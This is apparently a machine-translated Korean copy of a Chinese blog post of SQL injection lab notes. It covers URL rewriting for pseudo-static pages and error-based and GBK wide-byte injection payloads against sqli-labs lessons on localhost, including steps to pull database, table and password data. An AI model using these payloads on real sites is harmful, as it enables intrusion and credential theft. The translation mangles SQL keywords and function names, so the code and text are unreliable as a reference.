10.24 의사 정적 페이지 오류 주사, 주입 바이트 폭을

의사 정적 페이지 구축

http://www.test.com/index.php?id=1 (취약)

http://www.test.com/index.html (정적 페이지 만 표시 데이터는 보안이 매우 높습니다)

http://www.test.com/1.html

http://www.test.com/add_1.html

단계

1 단계는 : 재 작성 메커니즘, 사이트를 열어 구성 파일을 수정해야 발견

Rewrite_module 모듈을 LoadModule / mod_rewrite.so가 필요 다음 노트의 전면을 제거하고 아파치 해결하기 위해 지원을 htaccess로 은 "찾을 구성 파일을 수정, 파일 에 AllowOverride 없음을 것" 없음 으로 변경 모두 다시 시작하지 아파치.

2 단계 :

새로운 htaccess로 파일, 다음 "다시 쓰기 규칙"을 쓰기

에한다 RewriteEngine

RewriteRule의 ([0-9] {1 }) \. html로 $의 index.php? 아이디 = $ 1 // 규칙을 다시 작성합니다. ([0-9] {1}) $ 일치 $ 1 값을, \ 문자를 이스케이프 HTML $가 표시 URL을 에 것은 HTML

 

페이지 http://127.0.0.1/weijingtai/2-add.html

매칭 규칙 RewriteRule의 ([0-9] {1 }) - ([A-ZA-Z {1}) \ HTML $ index.php에 ID = $ 2 $ 1¶ =?

페이지에 대한 요청 : http://127.0.0.1/weijingtai/ 위에서 언급 한 id = index.php를 2¶ 추가?

 

단계 주입 에러

1 단계 : 테스트 주입 지점

2 단계 : 얻을 데이터베이스 정보 (현재 데이터베이스)

http://127.0.0.1/sqli-labs-master/Less-5/?id=2 '및 extractValue와 (1, CONCAT (0x7E가 (베이스 ()), 0x7E가)) % 23+

3 단계 : 테이블 이름

information_shcema.tables에서 tisinct TABLE_NAME을 선택 곳 table_shcema = 데이터베이스 () 0,1 제한

4 단계는 : 표에 지정된 필드를 가져옵니다

5 단계 : 콘텐츠에 대한 액세스

사용자가 0,1 제한에서 | CONCAT (암호 ''사용자 이름을)를 선택

그럼 당신은 암호 해독을 갈 수 있습니다

 

바이트 폭 주입

는 mysql_query ( "SET NAMES 'GBK' "); // 문자 집합 인코딩을 설정

mysql_set_charset ( "GBK"); // 문자 집합의 인코딩을 설정

mysql_reak_escape_string () 여과 매개 변수를 탈출, 유사한 기능을 갖는 기능은 다음과 같습니다 addslaches () , mysql_escape_string () ( PHP5.3 폐지 후), 마법 따옴표 ( magic_quotes_gpc의 특수 기호) 모듈, '\ "널 (null) <>

GBK의 코딩 : 문자에 대한 인코딩 모드, 문자는 2 바이트를 사용하여 인코딩

 

http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%81 노조 1 사용자 (), 3 %를 선택 (23)

 

 

 

바이트 폭 Sqlilab32

http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%81 노조 1,2,3 %를 선택합니다 (23)

방어 : 사용 mysql_set_charset ( "GBK"); 를 사용 mysql_escape_string는 탈출

 

PDO 넓은 바이트 주입

PDO는 : 데이터베이스에 연결 -> 설정 템플릿 > 데이터 바인딩 > 실행 의 SQL 문을

$ conn->의 setAttribute (PDO :: ATTR_EMULATE_PREPARES, 거짓);

 

보조 코딩을 주입

브라우저는 것 에서 양식의 데이터 한번 URL 서버에 도달하기 위해 디코딩 한 후 인코딩을 기본값으로

PHP 에서 의 URL 디코딩 기능이 있습니다 : ) (urldecode 될것입니다 , rawurldecode ()

 

HTTP의 헤더 주입

 

추천

출처www.cnblogs.com/x98339/p/11733366.html